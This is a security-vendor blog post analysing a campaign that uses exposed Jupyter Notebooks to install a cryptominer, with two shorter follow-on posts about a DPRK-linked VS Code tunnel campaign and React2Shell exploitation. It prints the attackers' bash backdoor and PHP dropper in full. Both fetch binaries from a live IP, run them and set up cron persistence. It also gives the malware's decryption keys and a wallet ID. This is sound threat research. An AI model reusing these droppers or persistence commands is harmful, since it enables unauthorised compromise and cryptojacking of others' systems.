March 13, 2025

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Cado Security Labs discovered a new cryptomining campaign exploiting exposed Jupyter Notebooks on Windows and Linux. The attack deploys UPX-packed binaries that decrypt and execute a cryptominer, targeting various cryptocurrencies.

Written by

Tara Gould

Malware Research Lead

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Tara Gould

Malware Research Lead

Mar 2025

Introduction

Researchers from Cado Security Labs (now part of Darktrace) have identified a novel cryptoming campaign exploiting Jupyter Notebooks, through Cado Labs honeypots. Jupyter Notebook [1] is an interactive notebook that contains a Python IDE and is typically used by data scientists. The campaign identified spreads through misconfigured Jupyter notebooks, targeting both Windows and Linux systems to deliver a cryptominer. 

Technical analysis

During a routine triage of the Jupyter honeypot, Cado Security Labs have identified an evasive cryptomining campaign attempting to exploit Jupyter notebooks. The attack began with attempting to retrieve a bash script and Microsoft Installer (MSI) file. After extracting the MSI file, the CustomAction points to an executable named “Binary.freedllBinary”. Custom Actions in MSI files are user defined actions and can be scripts or binaries. 

Binary.freedllbinary

The binary that is executed from the installer file is a 64-bit Windows executable named Binary.freedllbinary. The main purpose of the binary is to load a secondary payload, “java.exe” by a CoCreateInstance Component Object Model (COM object) that is stored in c:\Programdata. Using the command /c start /min cmd /c "C:\ProgramData\java.exe || msiexec /q /i https://github[.]com/freewindsand/test/raw/refs/heads/main/a.msi, java.exe is executed, and if that fails “a.msi” is retrieved from Github; “a.msi” is the same as the originating MSI “0217.msi”. Finally, the binary deletes itself with /c ping 127.0.0.1 && del %s. “Java.exe” is a 64-bit binary pretending to be Java Platform SE 8. The binary is packed with UPX. Using ws2_32, “java.exe” retrieves “x2.dat” from either Github, launchpad, or Gitee and stores it in c:\Programdata. Gitee is the Chinese version of GitHub. “X.dat” is an encrypted blob of data, however after analyzing the binary, it can be seen that it is encrypted with ChaCha20, with the nonce aQFabieiNxCjk6ygb1X61HpjGfSKq4zH and the key AZIzJi2WxU0G. The data is then compressed with zlib. 

from Crypto.Cipher import ChaCha20 

import zlib 

key = b' ' 

nonce = b' ' 

with open(<encrytpedblob>', 'rb') as f: 

 ciphertext = f.read() 
 
cipher = ChaCha20.new(key=key, nonce=nonce) 

plaintext = cipher.decrypt(ciphertext) 

with open('decrypted_output.bin', 'wb') as f:  

 f.write(plaintext) 
 
with open('decrypted_output.bin', 'rb') as f_in: 

 compressed_data = f_in.read() 
 
decompressed_data = zlib.decompress(compressed_data) 

with open('decompressed_output', 'wb') as f_out: 

 f_out.write(decompressed_data)

After decrypting the blob with the above script there is another binary. The final binary is a cryptominer that targets:

Monero
Sumokoin
ArQma
Graft
Ravencoin
Wownero
Zephyr
Townforge
YadaCoin

ELF version

In the original Jupyter commands, if the attempt to retrieve and run the MSI file fails, then it attempts to retrieve “0217.js” and execute it. “0217.js” is a bash backdoor that retrieves two ELF binaries “0218.elf”, and “0218.full” from 45[.]130[.]22[.]219. The script first retrieves “0218.elf” either by curl or wget, renames it to the current time, stores it in /etc/, makes it executable via chmod and sets a cronjob to run every ten minutes.

#!/bin/bash 
u1='http://45[.]130.22.219/0218.elf'; 
name1=`date +%s%N` 
wget ${u1}?wget -O /etc/$name1 
chmod +x /etc/$name1 
echo "10 * * * * root /etc/$name1" >> /etc/cron.d/$name1 
/etc/$name1 
 
name2=`date +%s%N` 
curl ${u1}?curl -o /etc/$name2 
chmod +x /etc/$name2 
echo "20 * * * * root /etc/$name2" >> /etc/cron.d/$name2 
/etc/$name2 
 
u2='http://45[.]130.22.219/0218.full'; 
name3=`date +%s%N` 
wget ${u2}?wget -O /tmp/$name3 
chmod +x /tmp/$name3 
(crontab -l ; echo "30 * * * * /tmp/$name3") | crontab - 
/tmp/$name3 
 
name4=`date +%s%N` 
curl ${u2}?curl -o /var/tmp/$name4 
chmod +x /var/tmp/$name4 
(crontab -l ; echo "40 * * * * /var/tmp/$name4") | crontab - 
/var/tmp/$name4 
 
while true 
do 
        chmod +x /etc/$name1 
        /etc/$name1 
        sleep 60 
        chmod +x /etc/$name2 
        /etc/$name2 
        sleep 60 
        chmod +x /tmp/$name3 
        /tmp/$name3 
        sleep 60 
        chmod +x /var/tmp/$name4 
        /var/tmp/$name4 
        sleep 60 
done

0217.js

Similarly, “0218.full” is retrieved by curl or wget, renamed to the current time, stored in /tmp/ or /var/tmp/, made executable and a cronjob is set to every 30 or 40 minutes. 

0218.elf

“0218.elf” is a 64-bit UPX packed ELF binary. The functionality of the binary is similar to “java.exe”, the Windows version. The binary retrieves encrypted data “lx.dat” from either 172[.]245[.]126[.]209, launchpad, Github, or Gitee. The lock file “cpudcmcb.lock” is searched for in various paths including /dev/, /tmp/ and /var/, presumably looking for a concurrent process. As with the Windows version, the data is encrypted with ChaCha20 (nonce: 1afXqzGbLE326CPT0EAwYFvgaTHvlhn4 and key: ZTEGIDQGJl4f) and compressed with zlib. The decrypted data is stored as “./lx.dat”. 

Figure 5: Reading the written lx.dat file

The decrypted data from “lx.dat” is another ELF binary, and is the Linux variant of the Windows cryptominer. The cryptominer is mining for the same cryptocurrency as the Windows with the wallet ID: 44Q4cH4jHoAZgyHiYBTU9D7rLsUXvM4v6HCCH37jjTrydV82y4EvPRkjgdMQThPLJVB3ZbD9Sc1i84 Q9eHYgb9Ze7A3syWV, and pools:

C3.wptask.cyou
Sky.wptask.cyou
auto.skypool.xyz

The binary “0218.full” is the same as the dropped cryptominer, skipping the loader and retrieval of encrypted data. It is unknown why the threat actor would deploy two versions of the same cryptominer. 

Other campaigns

While analyzing this campaign, a parallel campaign targeting servers running PHP was found. Hosted on the 45[.]130[.]22[.]219 address is a PHP script “1.php”:

<?php 
$win=0; 
$file=""; 
$url=""; 
strtoupper(substr(PHP_OS,0,3))==='WIN'?$win=1:$win=0; 
if($win==1){ 
    $file = "C://ProgramData/php.exe"; 
    $url  = "http://45[.]130.22.219/php0218.exe"; 
}else{ 
    $file = "/tmp/php"; 
    $url  = "http://45[.]130.22.219/php0218.elf"; 
} 
    ob_start(); 
    readfile($url); 
    $content = ob_get_contents(); 
    ob_end_clean(); 
    $size = strlen($content); 
    $fp2 = @fopen($file, 'w'); 
    fwrite($fp2, $content); 
    fclose($fp2); 
    unset($content, $url); 
    if($win!=1){ 
        passthru("chmod +x ".$file); 
    } 
    passthru($file); 
?> 
Hello PHP

“1.php” is essentially a PHP version of the Bash script “0218.js”, a binary is retrieved based on whether the server is running on Windows or Linux. After analyzing the binaries, “php0218.exe” is the same as Binary.freedllbinary, and “php0218.elf” is the same as “0218.elf”. 

The exploitation of Jupyter to deploy this cryptominer hasn’t been reported before, however there have been previous campaigns with similar TTPs. In January 2024, Greynoise [2] reported on Ivanti Connect Secure being exploited to deliver a cryptominer. As with this campaign, the Ivanti campaign featured the same backdoor, with payloads hosted on Github. Additionally, AnhLabs [3] reported in June 2024 of a similar campaign targeting unpatched Korean web servers.

Figure 6: Mining pool 45[.]147[.]51[.]78

Conclusion

Exposed cloud services remain a prime target for cryptominers and other malicious actors. Attackers actively scan for misconfigured or publicly accessible instances, exploiting them to run unauthorized cryptocurrency mining operations. This can lead to degraded system performance, increased cloud costs, and potential data breaches.

To mitigate these risks, organizations should enforce strong authentication, disable public access, and regularly monitor their cloud environments for unusual activity. Implementing network restrictions, auto-shutdown policies for idle instances, and cloud provider security tools can also help reduce exposure.

Continuous vigilance, proactive security measures, and user education are crucial to staying ahead of emerging threats in the ever-changing cloud landscape.

IOCs

hxxps://github[.]com/freewindsand

hxxps://github[.]com/freewindsand/pet/raw/refs/heads/main/lx.dat

hxxps://git[.]launchpad.net/freewindpet/plain/lx.dat

hxxps://gitee[.]com/freewindsand/pet/raw/main/lx.dat

hxxps://172[.]245[.]126.209/lx.dat

‍

090a2f79d1153137f2716e6d9857d108 - Windows cryptominer

51a7a8fbe243114b27984319badc0dac - 0218.elf

227e2f4c3fd54abdb8f585c9cec0dcfc - ELF cryptominer

C1bb30fed4f0fb78bb3a5f240e0058df - Binary.freedllBinary

6323313fb0d6e9ed47e1504b2cb16453 - py0217.msi

3750f6317cf58bb61d4734fcaa254147 - 0218.full

1cdf044fe9e320998cf8514e7bd33044 - java.exe

141[.]11[.]89[.]42

172[.]245[.]126[.]209

45[.]130[.]22[.]219

45[.]147[.]51[.]78

Pools:

c3.wptask.cyou

sky.wptask.cyou

auto.c3pool.org

auto.skypool.xyz

MITRE ATT&CK

T1059.004 Command and Scripting Interpreter: Bash

T1218.007 System Binary Proxy Execution: MSIExec

T1053.003 Scheduled Task/Job: Cron

T1190 Exploit Public-Facing Application

T1027.002 Obfuscated Files or Information: Software Packing

T1105 Ingress Tool Transfer

T1496 Resource Hijacking

T1105 Ingress Tool Transfer

T1070.004 Indicator Removal on Host: File Deletion

T1027 Obfuscated Files or Information

T1559.001 Inter-Process Communication: Component Object Model

T1027 Obfuscated Files or Information

References:

[1] https://www.cadosecurity.com/blog/qubitstrike-an-emerging-malware-campaign-targeting-jupyter-notebooks

[2] https://www.greynoise.io/blog/ivanti-connect-secure-exploited-to-install-cryptominers

[3] https://asec.ahnlab.com/en/74096/

Written by

Tara Gould

Malware Research Lead

Inside the SOC

Written by

Tara Gould

Malware Research Lead

Senior Director of Product, Cloud | Darktrace

Watch the NIS2 Webinar

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote access

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1] https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

About the author

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.‍

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction. No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

About the author

Nathaniel Jones

VP, Security & AI Strategy, Field CISO

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Check out this article by Darktrace: Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Introduction

Technical analysis

Binary.freedllbinary

ELF version

0218.elf

Other campaigns

Conclusion

IOCs

Pools:

MITRE ATT&CK

References:

More in this series

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Cloud insights

Cloud Case Study

Initial Access

Payload execution

Command-and-Control (C2)

Cryptominers deployment and re-exploitation

Financial sector spotlight

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Appendices

Exposed Jupyter Notebooks Targeted to Deliver Cryptominer

Introduction

Technical analysis

Binary.freedllbinary

ELF version

0218.elf

Other campaigns

Conclusion

IOCs

Pools:

MITRE ATT&CK

References:

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

Enjoying the blog?

More in this series

Blog

Network

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

Introduction

Technical analysis

Conclusion

Appendix

Indicators of Compromise (IoCs)

MITRE ATTACK

References

Blog

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

Introduction

Cloud insights

Cloud Case Study

Initial Access

Payload execution

Command-and-Control (C2)

Cryptominers deployment and re-exploitation

Financial sector spotlight

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Appendices